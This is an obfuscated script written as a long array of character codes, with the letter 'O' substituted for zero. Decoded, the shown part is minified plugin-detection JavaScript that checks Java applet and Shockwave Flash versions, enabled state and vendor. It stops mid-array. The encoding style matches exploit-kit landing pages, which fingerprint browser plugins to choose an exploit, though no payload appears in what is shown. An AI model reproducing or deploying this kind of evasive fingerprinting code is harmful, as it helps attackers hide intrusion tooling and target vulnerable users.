1O2,46,114,1O1,115,117,1O8,116,125,125,125,44,97,112,112,1O8,1O1,116,58,123,36,58,49,44,114,1O1,115,117,1O8,116,115,58,91,91,11O,117,1O8,1O8,44,11O,117,1O8,1O8,93,44,91,11O,117,1O8,1O8,44,11O,117,1O8,1O8,93,44,91,11O,117,1O8,1O8,44,11O,117,1O8,1O8,93,93,44,1O3,1O1,116,82,1O1,115,117,1O8,116,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,99,61,116,1O4,1O5,115,46,114,1O1,115,117,1O8,116,115,44,97,44,98,61,91,93,59,1O2,111,114,4O,97,61,48,59,97,6O,99,46,1O8,1O1,11O,1O3,116,1O4,59,97,43,43,41,123,98,61,99,91,97,93,59,1O5,1O2,4O,98,91,48,93,41,123,98,114,1O1,97,1O7,125,125,114,1O1,116,117,114,11O,91,93,46,99,111,11O,99,97,116,4O,98,41,125,44,72,84,77,76,58,91,48,44,48,44,48,93,44,97,99,116,1O5,118,1O1,58,91,48,44,48,44,48,93,44,68,117,1O9,1O9,121,79,98,1O6,84,97,1O3,72,84,77,76,58,48,44,68,117,1O9,1O9,121,83,112,97,11O,84,97,1O3,72,84,77,76,58,48,44,97,1O8,1O8,111,119,1O1,1OO,58,91,49,44,49,44,49,93,44,86,1O1,114,1O5,1O2,121,84,97,1O3,115,72,97,115,58,1O2,117,11O,99,116,1O5,111,11O,4O,99,41,123,118,97,114,32,1OO,61,116,1O4,1O5,115,44,98,59,1O2,111,114,4O,98,61,48,59,98,6O,1OO,46,97,1O8,1O8,111,119,1O1,1OO,46,1O8,1O1,11O,1O3,116,1O4,59,98,43,43,41,123,1O5,1O2,4O,1OO,46,97,1O8,1O8,111,119,1O1,1OO,91,98,93,61,61,61,99,41,123,114,1O1,116,117,114,11O,32,49,125,125,114,1O1,116,117,114,11O,32,48,125,44,115,97,118,1O1,65,115,86,1O1,114,1O5,1O2,121,84,97,1O3,115,65,114,114,97,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,99,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,1OO,61,98,46,36,44,97,59,1O5,1O2,4O,1OO,46,1O5,115,65,114,114,97,121,4O,99,41,41,123,1O2,111,114,4O,97,61,48,59,97,6O,98,46,97,1O8,1O8,111,119,1O1,1OO,46,1O8,1O1,11O,1O3,116,1O4,59,97,43,43,41,123,1O5,1O2,4O,1OO,46,1O5,115,78,117,1O9,4O,99,91,97,93,41,41,123,1O5,1O2,4O,48,62,99,91,97,93,41,123,99,91,97,93,61,48,125,1O5,1O2,4O,99,91,97,93,62,51,41,123,99,91,97,93,61,51,125,98,46,97,1O8,1O8,111,119,1O1,1OO,91,97,93,61,99,91,97,93,125,125,125,125,44,115,1O1,116,86,1O1,114,1O5,1O2,121,84,97,1O3,115,65,114,114,97,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,99,61,98,46,36,44,97,61,98,46,36,36,59,1O5,1O2,4O,97,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,61,61,11O,117,1O8,1O8,41,123,98,46,115,97,118,1O1,65,115,86,1O1,114,1O5,1O2,121,84,97,1O3,115,65,114,114,97,121,4O,97,46,1O3,1O1,116,86,1O1,114,1O5,1O2,121,84,97,1O3,115,68,1O1,1O2,97,117,1O8,116,4O,41,41,125,1O5,1O2,4O,97,46,1OO,1O1,98,117,1O3,124,124,4O,97,46,118,1O1,114,1O5,1O2,121,38,38,97,46,118,1O1,114,1O5,1O2,121,46,1O5,115,69,11O,97,98,1O8,1O1,1OO,4O,41,41,41,123,98,46,115,97,118,1O1,65,115,86,1O1,114,1O5,1O2,121,84,97,1O3,115,65,114,114,97,121,4O,91,51,44,51,44,51,93,41,125,1O1,1O8,115,1O1,123,1O5,1O2,4O,1OO,41,123,98,46,115,97,118,1O1,65,115,86,1O1,114,1O5,1O2,121,84,97,1O3,115,65,114,114,97,121,4O,1OO,41,125,125,125,44,97,1O8,1O8,68,1O5,115,97,98,1O8,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,114,1O1,116,117,114,11O,32,116,1O4,1O5,115,46,36,36,46,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,46,97,1O8,1O8,65,112,112,1O8,1O1,116,115,4O,41,125,44,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,99,61,98,46,36,44,97,61,98,46,36,36,59,1O5,1O2,4O,1OO,61,61,5O,38,38,33,99,46,1O5,115,73,69,41,123,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,1OO,61,61,61,48,124,124,1OO,61,61,5O,41,123,114,1O1,116,117,114,11O,32,97,46,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,46,79,98,1O6,1O1,99,116,84,97,1O3,4O,41,125,1O5,1O2,4O,1OO,61,61,49,41,123,114,1O1,116,117,114,11O,32,97,46,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,46,65,112,112,1O8,1O1,116,84,97,1O3,4O,41,125,125,44,99,97,11O,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,41,123,118,97,114,32,97,61,116,1O4,1O5,115,59,1O5,1O2,4O,97,46,72,84,77,76,91,98,93,41,123,114,1O1,116,117,114,11O,32,48,125,114,1O1,116,117,114,11O,32,33,97,46,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,4O,98,41,125,44,99,97,11O,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,95,65,11O,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,97,59,1O2,111,114,4O,97,61,48,59,97,6O,98,46,114,1O1,115,117,1O8,116,115,46,1O8,1O1,11O,1O3,116,1O4,59,97,43,43,41,123,1O5,1O2,4O,98,46,99,97,11O,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,4O,97,41,41,123,114,1O1,116,117,114,11O,32,49,125,125,114,1O1,116,117,114,11O,32,48,125,44,115,1O4,111,117,1O8,1OO,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,1O1,61,98,46,97,1O8,1O8,111,119,1O1,1OO,44,99,61,98,46,36,44,97,61,98,46,36,36,59,1O5,1O2,4O,33,98,46,99,97,11O,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,4O,1OO,41,41,123,114,1O1,116,117,114,11O,32,48,125,1O5,1O2,4O,1O1,91,1OO,93,61,61,51,41,123,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,1O1,91,1OO,93,61,61,5O,46,56,38,38,33,98,46,1O3,1O1,116,82,1O1,115,117,1O8,116,4O,41,91,48,93,41,123,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,1O1,91,1OO,93,61,61,5O,46,53,38,38,33,97,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,41,91,48,93,41,123,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,1O1,91,1OO,93,61,61,5O,46,5O,38,38,33,97,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,41,91,48,93,38,38,33,98,46,1O3,1O1,116,82,1O1,115,117,1O8,116,4O,41,91,48,93,41,123,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,33,97,46,11O,111,11O,65,112,112,1O8,1O1,116,68,1O1,116,1O1,99,116,1O5,111,11O,79,1O7,4O,97,46,118,1O1,114,115,1O5,111,11O,48,41,41,123,1O5,1O2,4O,1O1,91,1OO,93,61,61,5O,41,123,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,1O1,91,1OO,93,61,61,49,38,38,33,98,46,1O3,1O1,116,82,1O1,115,117,1O8,116,4O,41,91,48,93,41,123,114,1O1,116,117,114,11O,32,49,125,125,114,1O1,116,117,114,11O,32,48,125,44,115,1O4,111,117,1O8,1OO,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,95,65,11O,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,97,59,1O2,111,114,4O,97,61,48,59,97,6O,98,46,97,1O8,1O8,111,119,1O1,1OO,46,1O8,1O1,11O,1O3,116,1O4,59,97,43,43,41,123,1O5,1O2,4O,98,46,115,1O4,111,117,1O8,1OO,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,4O,97,41,41,123,114,1O1,116,117,114,11O,32,49,125,125,114,1O1,116,117,114,11O,32,48,125,44,113,117,1O1,114,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O2,41,123,118,97,114,32,1O4,44,97,61,116,1O4,1O5,115,44,1O3,61,97,46,36,44,1OO,61,97,46,36,36,44,1O5,61,11O,117,1O8,1O8,44,1O6,61,11O,117,1O8,1O8,44,98,61,97,46,114,1O1,115,117,1O8,116,115,44,99,59,1O5,1O2,4O,4O,98,91,1O2,93,91,48,93,38,38,98,91,1O2,93,91,49,93,41,124,124,4O,1OO,46,1OO,1O1,98,117,1O3,38,38,1OO,46,79,84,7O,6O,51,41,41,123,114,1O1,116,117,114,11O,125,99,61,1O3,46,1O3,1O1,116,68,79,77,111,98,1O6,4O,97,46,72,84,77,76,91,1O2,93,44,116,114,117,1O1,41,59,1O5,1O2,4O,99,41,123,116,114,121,123,1O5,61,1O3,46,1O3,1O1,116,78,117,1O9,4O,99,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,4O,41,43,34,32,34,41,59,1O6,61,99,46,1O3,1O1,116,86,1O1,11O,1OO,111,114,4O,41,43,34,32,34,59,99,46,115,116,97,116,117,115,98,97,114,4O,1O3,46,119,1O5,11O,76,111,97,1OO,1O1,1OO,63,34,32,34,58,34,32,34,41,125,99,97,116,99,1O4,4O,1O4,41,123,125,1O5,1O2,4O,1O5,38,38,1O3,46,1O5,115,83,116,114,78,117,1O9,4O,1O5,41,41,123,98,91,1O2,93,61,91,1O5,44,1O6,93,125,1O1,1O8,115,1O1,123,125,59,116,114,121,123,1O5,1O2,4O,1O3,46,1O5,115,73,69,38,38,1O5,38,38,99,46,114,1O1,97,1OO,121,83,116,97,116,1O1,33,61,52,41,123,1O3,46,1O3,97,114,98,97,1O3,1O1,61,116,114,117,1O1,59,99,46,112,97,114,1O1,11O,116,78,111,1OO,1O1,46,114,1O1,1O9,111,118,1O1,67,1O4,1O5,1O8,1OO,4O,99,41,125,125,99,97,116,99,1O4,4O,1O4,41,123,125,125,125,44,1O5,11O,115,1O1,114,116,95,81,117,1O1,114,121,95,65,11O,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,1OO,61,116,1O4,1O5,115,44,1O5,61,1OO,46,36,44,1O1,61,1OO,46,36,36,44,1O8,61,1OO,46,114,1O1,115,117,1O8,116,115,44,112,61,1OO,46,72,84,77,76,44,97,61,34,38,11O,98,115,112,59,38,11O,98,115,112,59,38,11O,98,115,112,59,38,11O,98,115,112,59,34,44,1O3,61,34,65,46,99,1O8,97,115,115,34,44,1O9,61,1O5,46,1O2,1O5,1O8,1O1,46,1O3,1O1,116,86,97,1O8,1O5,1OO,4O,1O1,41,59,1O5,1O2,4O,33,1O9,41,123,114,1O1,116,117,114,11O,32,1OO,46,1O3,1O1,116,82,1O1,115,117,1O8,116,4O,41,125,1O5,1O2,4O,1O1,46,79,84,7O,6O,49,41,123,1O1,46,79,84,7O,61,49,125,1O5,1O2,4O,1OO,46,97,1O8,1O8,68,1O5,115,97,98,1O8,1O1,1OO,4O,41,41,123,114,1O1,116,117,114,11O,32,1OO,46,1O3,1O1,116,82,1O1,115,117,1O8,116,4O,41,125,1O5,1O2,4O,1O1,46,79,84,7O,6O,49,46,53,41,123,1O1,46,79,84,7O,61,49,46,53,125,118,97,114,32,1O6,61,1O9,46,11O,97,1O9,1O1,43,1O9,46,1O1,12O,116,44,1O4,61,1O9,46,112,97,116,1O4,59,118,97,114,32,1O2,61,91,34,97,114,99,1O4,1O5,118,1O1,34,44,1O6,44,34,99,111,1OO,1O1,34,44,1O3,93,44,99,61,91,34,1O9,97,121,115,99,114,1O5,112,116,34,44,34,116,114,117,1O1,34,93,44,111,61,91,34,115,99,114,1O5,112,116,97,98,1O8,1O1,34,44,34,116,114,117,1O1,34,93,46,99,111,11O,99,97,116,4O,99,41,44,11O,61,1O1,46,11O,97,118,1O5,1O3,97,116,111,114,44,98,61,33,1O5,46,1O5,115,73,69,38,38,11O,46,1O9,1O5,1O9,1O1,79,98,1O6,38,38,11O,46,1O9,1O5,1O9,1O1,79,98,1O6,46,116,121,112,1O1,63,11O,46,1O9,1O5,1O9,1O1,79,98,1O6,46,116,121,112,1O1,58,1O1,46,1O9,1O5,1O9,1O1,84,121,112,1O1,91,48,93,59,1O5,1O2,4O,1OO,46,115,1O4,111,117,1O8,1OO,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,4O,48,41,41,123,1O5,1O2,4O,1O1,46,79,84,7O,6O,5O,41,123,1O1,46,79,84,7O,61,5O,125,59,112,91,48,93,61,1O5,46,1O5,115,73,69,63,1O5,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,111,98,1O6,1O1,99,116,34,44,91,34,116,121,112,1O1,34,44,98,93,44,91,34,99,111,1OO,1O1,98,97,115,1O1,34,44,1O4,93,46,99,111,11O,99,97,116,4O,1O2,41,46,99,111,11O,99,97,116,4O,111,41,44,97,44,1O1,41,58,1O5,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,111,98,1O6,1O1,99,116,34,44,91,34,116,121,112,1O1,34,44,98,93,44,91,34,99,111,1OO,1O1,98,97,115,1O1,34,44,1O4,93,46,99,111,11O,99,97,116,4O,1O2,41,46,99,111,11O,99,97,116,4O,111,41,44,97,44,1O1,41,59,1O8,91,48,93,61,91,48,44,48,93,59,1OO,46,113,117,1O1,114,121,4O,48,41,125,1O5,1O2,4O,1OO,46,115,1O4,111,117,1O8,1OO,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,4O,49,41,41,123,1O5,1O2,4O,1O1,46,79,84,7O,6O,5O,41,123,1O1,46,79,84,7O,61,5O,125,59,112,91,49,93,61,1O5,46,1O5,115,73,69,63,1O5,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,97,112,112,1O8,1O1,116,34,44,91,34,97,1O8,116,34,44,97,93,46,99,111,11O,99,97,116,4O,99,41,46,99,111,11O,99,97,116,4O,1O2,41,44,91,34,99,111,1OO,1O1,98,97,115,1O1,34,44,1O4,93,46,99,111,11O,99,97,116,4O,99,41,44,97,44,1O1,41,58,1O5,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,97,112,112,1O8,1O1,116,34,44,91,34,99,111,1OO,1O1,98,97,115,1O1,34,44,1O4,44,34,97,1O8,116,34,44,97,93,46,99,111,11O,99,97,116,4O,99,41,46,99,111,11O,99,97,116,4O,1O2,41,44,91,93,46,99,111,11O,99,97,116,4O,99,41,44,97,44,1O1,41,59,1O8,91,49,93,61,91,48,44,48,93,59,1OO,46,113,117,1O1,114,121,4O,49,41,125,1O5,1O2,4O,1OO,46,115,1O4,111,117,1O8,1OO,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,4O,5O,41,41,123,1O5,1O2,4O,1O1,46,79,84,7O,6O,5O,41,123,1O1,46,79,84,7O,61,5O,125,59,112,91,5O,93,61,1O5,46,1O5,115,73,69,63,1O5,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,111,98,1O6,1O1,99,116,34,44,91,34,99,1O8,97,115,115,1O5,1OO,34,44,1O1,46,99,1O8,97,115,115,73,68,93,44,91,34,99,111,1OO,1O1,98,97,115,1O1,34,44,1O4,93,46,99,111,11O,99,97,116,4O,1O2,41,46,99,111,11O,99,97,116,4O,111,41,44,97,44,1O1,41,58,1O5,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,41,59,1O8,91,5O,93,61,91,48,44,48,93,59,1OO,46,113,117,1O1,114,121,4O,5O,41,125,1O5,1O2,4O,33,1OO,46,68,117,1O9,1O9,121,79,98,1O6,84,97,1O3,72,84,77,76,38,38,33,1O1,46,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,46,79,98,1O6,1O1,99,116,84,97,1O3,4O,41,41,123,1OO,46,68,117,1O9,1O9,121,79,98,1O6,84,97,1O3,72,84,77,76,61,1O5,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,111,98,1O6,1O1,99,116,34,44,91,93,44,91,93,44,97,41,125,1O5,1O2,4O,33,1OO,46,68,117,1O9,1O9,121,83,112,97,11O,84,97,1O3,72,84,77,76,41,123,1OO,46,68,117,1O9,1O9,121,83,112,97,11O,84,97,1O3,72,84,77,76,61,1O5,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,34,44,91,93,44,91,93,44,97,41,125,59,118,97,114,32,1O7,61,1O1,46,78,79,84,7O,59,1O5,1O2,4O,1O1,46,79,84,7O,6O,51,38,38,1O7,46,115,1O4,111,117,1O8,1OO,67,111,11O,116,1O5,11O,117,1O1,81,117,1O1,114,121,4O,41,41,123,1O1,46,79,84,7O,61,51,59,1O7,46,111,11O,73,11O,116,1O1,114,118,97,1O8,81,117,1O1,114,121,61,1O5,46,1O4,97,11O,1OO,1O8,1O1,114,4O,1O7,46,36,36,111,11O,73,11O,116,1O1,114,118,97,1O8,81,117,1O1,114,121,44,1O7,41,59,1O5,1O2,4O,33,1O5,46,119,1O5,11O,76,111,97,1OO,1O1,1OO,41,123,1O5,46,87,76,1O2,117,11O,99,115,48,46,112,117,115,1O4,4O,91,1O7,46,119,1O5,11O,79,11O,76,111,97,1OO,81,117,1O1,114,121,44,1O7,93,41,125,115,1O1,116,84,1O5,1O9,1O1,111,117,116,4O,1O7,46,111,11O,73,11O,116,1O1,114,118,97,1O8,81,117,1O1,114,121,44,1O7,46,1O5,11O,116,1O1,114,118,97,1O8,76,1O1,11O,1O3,116,1O4,41,125,59,114,1O1,116,117,114,11O,32,1OO,46,1O3,1O1,116,82,1O1,115,117,1O8,116,4O,41,125,125,44,78,79,84,7O,58,123,36,58,49,44,99,111,117,11O,116,58,48,44,99,111,117,11O,116,77,97,12O,58,5O,53,44,1O5,11O,116,1O1,114,118,97,1O8,76,1O1,11O,1O3,116,1O4,58,5O,53,48,44,115,1O4,111,117,1O8,1OO,67,111,11O,116,1O5,11O,117,1O1,81,117,1O1,114,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,1O1,61,116,1O4,1O5,115,44,1OO,61,1O1,46,36,44,99,61,1O1,46,36,36,44,98,61,99,46,97,112,112,1O8,1O1,116,44,97,59,1O2,111,114,4O,97,61,48,59,97,6O,98,46,114,1O1,115,117,1O8,116,115,46,1O8,1O1,11O,1O3,116,1O4,59,97,43,43,41,123,1O5,1O2,4O,98,46,72,84,77,76,91,97,93,38,38,33,98,46,114,1O1,115,117,1O8,116,115,91,97,93,91,48,93,38,38,4O,98,46,97,1O8,1O8,111,119,1O1,1OO,91,97,93,62,61,5O,124,124,4O,98,46,97,1O8,1O8,111,119,1O1,1OO,91,97,93,61,61,49,38,38,33,98,46,1O3,1O1,116,82,1O1,115,117,1O8,116,4O,41,91,48,93,41,41,38,38,1O1,46,1O5,115,65,112,112,1O8,1O1,116,65,99,116,1O5,118,1O1,4O,97,41,62,61,48,41,123,114,1O1,116,117,114,11O,32,49,125,125,114,1O1,116,117,114,11O,32,48,125,44,1O5,115,74,97,118,97,65,99,116,1O5,118,1O1,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,41,123,118,97,114,32,1O2,61,116,1O4,1O5,115,44,99,61,1O2,46,36,36,44,97,44,98,44,1O1,61,45,57,59,1O2,111,114,4O,97,61,48,59,97,6O,99,46,97,112,112,1O8,1O1,116,46,72,84,77,76,46,1O8,1O1,11O,1O3,116,1O4,59,97,43,43,41,123,98,61,1O2,46,1O5,115,65,112,112,1O8,1O1,116,65,99,116,1O5,118,1O1,4O,97,44,1OO,41,59,1O5,1O2,4O,98,62,1O1,41,123,1O1,61,98,125,125,114,1O1,116,117,114,11O,32,1O1,125,44,1O5,115,65,112,112,1O8,1O1,116,65,99,116,1O5,118,1O1,58,1O2,117,11O,99,116,1O5,111,11O,4O,99,44,97,41,123,118,97,114,32,1OO,61,116,1O4,1O5,115,44,98,61,1OO,46,36,36,46,97,112,112,1O8,1O1,116,46,97,99,116,1O5,118,1O1,59,1O5,1O2,4O,33,97,41,123,98,91,99,93,61,1OO,46,1O5,115,65,112,112,1O8,1O1,116,65,99,116,1O5,118,1O1,95,4O,99,41,125,114,1O1,116,117,114,11O,32,98,91,99,93,125,44,1O5,115,65,112,112,1O8,1O1,116,65,99,116,1O5,118,1O1,95,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,41,123,118,97,114,32,1O3,61,116,1O4,1O5,115,44,1O2,61,1O3,46,36,44,98,61,1O3,46,36,36,44,1O8,61,98,46,11O,97,118,1O5,1O3,97,116,111,114,44,97,61,98,46,97,112,112,1O8,1O1,116,44,1O4,61,97,46,72,84,77,76,91,1OO,93,44,1O5,44,1O7,44,99,61,48,44,1O6,61,1O2,46,1O3,1O1,116,84,97,1O3,83,116,97,116,117,115,4O,1O4,44,97,46,68,117,1O9,1O9,121,83,112,97,11O,84,97,1O3,72,84,77,76,44,97,46,68,117,1O9,1O9,121,79,98,1O6,84,97,1O3,72,84,77,76,44,1O3,46,99,111,117,11O,116,41,59,1O5,1O2,4O,1O6,61,61,45,5O,41,123,114,1O1,116,117,114,11O,32,45,5O,125,116,114,121,123,1O5,1O2,4O,1O2,46,1O5,115,73,69,38,38,98,46,1O9,1O5,11O,73,69,118,1O1,114,6O,61,1O2,46,118,1O1,114,73,69,38,38,1O2,46,1O3,1O1,116,68,79,77,111,98,1O6,4O,1O4,41,46,111,98,1O6,1O1,99,116,41,123,114,1O1,116,117,114,11O,32,49,125,125,99,97,116,99,1O4,4O,1O5,41,123,125,1O2,111,114,4O,1O7,61,48,59,1O7,6O,97,46,97,99,116,1O5,118,1O1,46,1O8,1O1,11O,1O3,116,1O4,59,1O7,43,43,41,123,1O5,1O2,4O,48,6O,97,46,97,99,116,1O5,118,1O1,91,1O7,93,41,123,99,61,49,125,125,1O5,1O2,4O,1O6,61,61,49,38,38,4O,1O2,46,1O5,115,73,69,124,124,4O,4O,98,46,118,1O1,114,115,1O5,111,11O,48,38,38,1O8,46,1O6,97,118,97,69,11O,97,98,1O8,1O1,1OO,4O,41,38,38,1O8,46,1O9,1O5,1O9,1O1,79,98,1O6,38,38,4O,1O4,46,116,97,1O3,78,97,1O9,1O1,61,61,34,111,98,1O6,1O1,99,116,34,124,124,99,41,41,124,124,98,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,41,91,48,93,41,41,41,123,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,48,62,1O6,41,123,114,1O1,116,117,114,11O,32,45,49,125,114,1O1,116,117,114,11O,32,48,125,44,119,1O5,11O,79,11O,76,111,97,1OO,81,117,1O1,114,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,99,44,1OO,41,123,118,97,114,32,98,61,1OO,46,36,36,44,97,59,1O5,1O2,4O,98,46,79,84,7O,61,61,51,41,123,97,61,1OO,46,113,117,1O1,114,121,65,1O8,1O8,65,112,112,1O8,1O1,116,115,4O,41,59,1OO,46,113,117,1O1,114,121,67,111,1O9,112,1O8,1O1,116,1O1,1OO,4O,97,91,49,93,44,97,91,5O,93,41,125,125,44,36,36,111,11O,73,11O,116,1O1,114,118,97,1O8,81,117,1O1,114,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,41,123,118,97,114,32,99,61,1OO,46,36,44,98,61,1OO,46,36,36,44,97,59,1O5,1O2,4O,98,46,79,84,7O,61,61,51,41,123,97,61,1OO,46,113,117,1O1,114,121,65,1O8,1O8,65,112,112,1O8,1O1,116,115,4O,41,59,1O5,1O2,4O,33,1OO,46,115,1O4,111,117,1O8,1OO,67,111,11O,116,1O5,11O,117,1O1,81,117,1O1,114,121,4O,41,124,124,4O,99,46,119,1O5,11O,76,111,97,1OO,1O1,1OO,38,38,1OO,46,99,111,117,11O,116,62,1OO,46,99,111,117,11O,116,77,97,12O,41,41,123,1OO,46,113,117,1O1,114,121,67,111,1O9,112,1O8,1O1,116,1O1,1OO,4O,97,91,49,93,44,97,91,5O,93,41,125,125,1OO,46,99,111,117,11O,116,43,43,59,1O5,1O2,4O,98,46,79,84,7O,61,61,51,41,123,115,1O1,116,84,1O5,1O9,1O1,111,117,116,4O,1OO,46,111,11O,73,11O,116,1O1,114,118,97,1O8,81,117,1O1,114,121,44,1OO,46,1O5,11O,116,1O1,114,118,97,1O8,76,1O1,11O,1O3,116,1O4,41,125,125,44,113,117,1O1,114,121,65,1O8,1O8,65,112,112,1O8,1O1,116,115,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,1O3,61,116,1O4,1O5,115,44,1O2,61,1O3,46,36,44,1O1,61,1O3,46,36,36,44,1OO,61,1O1,46,97,112,112,1O8,1O1,116,44,98,44,97,44,99,59,1O2,111,114,4O,98,61,48,59,98,6O,1OO,46,114,1O1,115,117,1O8,116,115,46,1O8,1O1,11O,1O3,116,1O4,59,98,43,43,41,123,1OO,46,113,117,1O1,114,121,4O,98,41,125,97,61,1OO,46,1O3,1O1,116,82,1O1,115,117,1O8,116,4O,41,59,99,61,97,91,48,93,63,116,114,117,1O1,58,1O2,97,1O8,115,1O1,59,114,1O1,116,117,114,11O,91,99,44,97,91,48,93,44,97,91,49,93,93,125,44,113,117,1O1,114,121,67,111,1O9,112,1O8,1O1,116,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,99,44,1O2,41,123,118,97,114,32,1O1,61,116,1O4,1O5,115,44,1OO,61,1O1,46,36,44,98,61,1O1,46,36,36,59,1O5,1O2,4O,98,46,79,84,7O,62,61,52,41,123,114,1O1,116,117,114,11O,125,98,46,79,84,7O,61,52,59,118,97,114,32,97,61,1O1,46,1O5,115,74,97,118,97,65,99,116,1O5,118,1O1,4O,41,59,98,46,115,1O1,116,8O,1O8,117,1O3,1O5,11O,83,116,97,116,117,115,4O,99,44,1O2,44,48,41,59,1O5,1O2,4O,98,46,1O2,117,11O,99,115,41,123,1OO,46,99,97,1O8,1O8,65,114,114,97,121,4O,98,46,1O2,117,11O,99,115,41,125,1O5,1O2,4O,1OO,46,111,11O,68,111,11O,1O1,69,1O9,112,116,121,68,1O5,118,41,123,1OO,46,111,11O,68,111,11O,1O1,69,1O9,112,116,121,68,1O5,118,4O,41,125,125,125,44,122,122,58,48,125,44,1O2,1O8,97,115,1O4,58,123,1O9,1O5,1O9,1O1,84,121,112,1O1,58,34,97,112,112,1O8,1O5,99,97,116,1O5,111,11O,47,12O,45,115,1O4,111,99,1O7,119,97,118,1O1,45,1O2,1O8,97,115,1O4,34,44,112,114,111,1O3,73,68,58,34,83,1O4,111,99,1O7,119,97,118,1O1,7O,1O8,97,115,1O4,46,83,1O4,111,99,1O7,119,97,118,1O1,7O,1O8,97,115,1O4,34,44,99,1O8,97,115,115,73,68,58,34,99,1O8,115,1O5,1OO,58,68,5O,55,67,68,66,54,69,45,65,69,54,68,45,49,49,67,7O,45,57,54,66,56,45,52,52,52,53,53,51,53,52,48,48,48,48,34,44,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,98,61,1O2,117,11O,99,116,1O5,111,11O,4O,1O5,41,123,1O5,1O2,4O,33,1O5,41,123,114,1O1,116,117,114,11O,32,11O,117,1O8,1O8,125,118,97,114,32,1O1,61,47,91,92,1OO,93,91,92,1OO,92,44,92,46,92,115,93,42,91,114,82,1OO,68,93,123,48,44,49,125,91,92,1OO,92,44,93,42,47,46,1O1,12O,1O1,99,4O,1O5,41,59,114,1O1,116,117,114,11O,32,1O1,63,1O1,91,48,93,46,114,1O1,112,1O8,97,99,1O1,4O,47,91,114,82,1OO,68,92,46,93,47,1O3,44,34,44,34,41,46,114,1O1,112,1O8,97,99,1O1,4O,47,92,115,47,1O3,44,34,34,41,58,11O,117,1O8,1O8,125,59,118,97,114,32,1O6,61,116,1O4,1O5,115,44,1O3,61,1O6,46,36,44,1O7,44,1O4,44,1O8,61,11O,117,1O8,1O8,44,99,61,11O,117,1O8,1O8,44,97,61,11O,117,1O8,1O8,44,1O2,44,1O9,44,1OO,59,1O5,1O2,4O,33,1O3,46,1O5,115,73,69,41,123,1O9,61,1O3,46,1O4,97,115,77,1O5,1O9,1O1,84,121,112,1O1,4O,1O6,46,1O9,1O5,1O9,1O1,84,121,112,1O1,41,59,1O5,1O2,4O,1O9,41,123,1O2,61,1O3,46,1O3,1O1,116,68,79,77,111,98,1O6,4O,1O3,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,111,98,1O6,1O1,99,116,34,44,91,34,116,121,112,1O1,34,44,1O6,46,1O9,1O5,1O9,1O1,84,121,112,1O1,93,44,91,93,44,34,34,44,1O6,41,41,59,116,114,121,123,1O8,61,1O3,46,1O3,1O1,116,78,117,1O9,4O,1O2,46,71,1O1,116,86,97,114,1O5,97,98,1O8,1O1,4O,34,36,118,1O1,114,115,1O5,